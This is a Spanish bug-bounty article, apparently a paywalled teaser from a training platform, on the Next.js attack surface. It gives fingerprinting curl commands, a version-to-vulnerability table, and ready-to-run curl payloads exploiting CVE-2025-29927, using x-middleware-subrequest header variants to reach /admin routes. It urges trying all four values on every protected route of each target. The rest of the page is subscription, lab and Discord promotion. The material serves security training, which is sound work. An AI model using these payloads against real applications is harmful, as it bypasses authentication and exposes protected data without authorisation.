Nivel AvanzadoPremium

Next.js attack surface 2026 — middleware bypass, SSRF interno, RSC abuse

Vulnerabilidades específicas de Next.js 13-16: middleware bypass con headers manipulados, SSRF en API routes, RSC (React Server Components) data leak, image optimization SSRF.

Gorka El Bochi11 de mayo de 202615 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

Next.js es el framework dominante en SaaS modernos y arrastra una superficie de ataque única: middleware como única capa de auth, image optimization como SSRF gadget, Server Actions con Host header injection, y RSC payloads que leakean data server-side al cliente. CVE-2025-29927 (middleware bypass via x-middleware-subrequest) sigue vivo en ~35% de apps Next 14. Si fingerprint detecta Next, atacas en este orden: middleware bypass → image SSRF → server actions → RSC inspection.


1. Fingerprint rápido de Next.js

Antes de tirar payloads, confirma versión. La superficie cambia drásticamente entre Next 12 (sin App Router), Next 13-14 (App Router + Server Actions) y Next 15+.

bash
# Build ID + buildManifest
curl -s https://target.com/_next/static/buildManifest.js | head

# Headers indicativos
curl -sI https://target.com | grep -iE "x-powered-by|x-nextjs|x-middleware"

# RSC endpoints (App Router only)
curl -s https://target.com/some-path -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%7D%5D"
VersiónFeatures añadidasVector clave
≤ 12.1Pages RouterImage SSRF (legacy domains)
12.2 - 15.2.2MiddlewareCVE-2025-29927 bypass
13+App Router + RSCRSC data exfil + Server Actions
14+Server Actions establesHost header injection (CVE-2024-34351)
≥ 15.2.3PatchedAtacar otras superficies

2. CVE-2025-29927 — middleware bypass

Next.js usa middleware para auth, redirects, rate limiting y headers de seguridad. El middleware corre antes de las rutas. Si el atacante puede saltárselo, el endpoint protegido queda accesible directo.

El bug

El header x-middleware-subrequest se usa internamente entre el runtime de Next y el handler de la ruta para evitar bucles cuando middleware llama a su propia app. Si el atacante setea ese header en una request entrante, Next asume que ya pasó por middleware y lo skipea.

Payloads

bash
# Versión sin src/
curl -H "x-middleware-subrequest: middleware" https://target.com/admin

# Versión con src/middleware.ts
curl -H "x-middleware-subrequest: src/middleware" https://target.com/admin

# Defensa con counter de profundidad — repetir N veces
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  https://target.com/admin

# Pages router legacy
curl -H "x-middleware-subrequest: pages/_middleware" https://target.com/admin

[!danger] Sigue vivo en 2026 Aunque Next ≥ 15.2.3 está parcheado, el 35%+ de apps Next 14 productivas en 2026 no han actualizado. Una pasada con esos 4 valores en cada ruta protegida es 30 segundos por target.


Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Nextjs Attack Surface

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.